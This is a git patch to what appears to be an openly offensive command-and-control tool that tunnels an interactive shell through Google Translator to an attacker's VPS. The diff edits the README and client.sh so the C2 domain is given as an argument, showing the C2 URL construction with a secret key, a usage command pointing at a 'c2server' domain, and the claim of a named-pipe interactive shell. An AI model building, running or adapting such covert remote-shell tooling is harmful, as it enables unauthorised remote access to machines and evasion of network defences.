From a575b19abf94efe628b9205c017ce403ac6b018a Mon Sep 17 00:00:00 2001 From: Matheus Bernardes <12648924+mthbernardes@users.noreply.github.com> Date: Sun, 2 Dec 2018 19:53:23 -0200 Subject: [PATCH] change client arguments --- README.md | 6 +++--- client.sh | 10 +++++----- 2 files changed, 8 insertions(+), 8 deletions(-) diff --git a/README.md b/README.md index 0750742..8671e1d 100644 --- a/README.md +++ b/README.md @@ -6,7 +6,7 @@ This tools uses [Google Translator](https://translate.google.com) as a proxy to ``` # Environment Configuration -First you need a VPS and a domain, for the domain you can get a free one on [Freenom](https://freenom.com/). With your VPS and domain, just edit the client script, and set your domain on line 5. +First you need a VPS and a domain, for the domain you can get a free one on [Freenom](https://freenom.com/). # Usage Start the server.py on your VPS @@ -15,9 +15,9 @@ python2.7 server.py Server running on port: 80 Secret Key: e294a11e-bb6f-49ed-b03a-9ec42be55062 ``` -It will provide you secret key which will be used on the client.sh, run the client on a computer with access to [Google Translator](https://translate.google.com), providing the secret key generated by the server. +It will provide you secret key which will be used on the client.sh, run the client on a computer with access to [Google Translator](https://translate.google.com), providing domain and the secret key generated by the server. ```bash -bash client.sh e294a11e-bb6f-49ed-b03a-9ec42be55062 +bash client.sh www.c2server.ml e294a11e-bb6f-49ed-b03a-9ec42be55062 ``` Now you have an interactive shell using named pipe files, **YES** you can `cd` into directories. diff --git a/client.sh b/client.sh index 6e67881..9826e20 100755 --- a/client.sh +++ b/client.sh @@ -1,14 +1,14 @@ #!/bin/bash -if [ -z "$1" ]; then - echo -e "Error\nExecute: $0 secretkey-provided-by-the-server\n" - exit 1 +if [[ $# < 2 ]];then + echo -e "Error\nExecute: $0 www.c2server.com secretkey-provided-by-the-server\n" + exit fi running=true -secretkey="$1" +secretkey="$2" user_agent="User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" -c2server="http://www.dedonocuegritaria.ml/?key=$secretkey" +c2server="http://$1/?key=$secretkey" result="" input="/tmp/input" output="/tmp/output"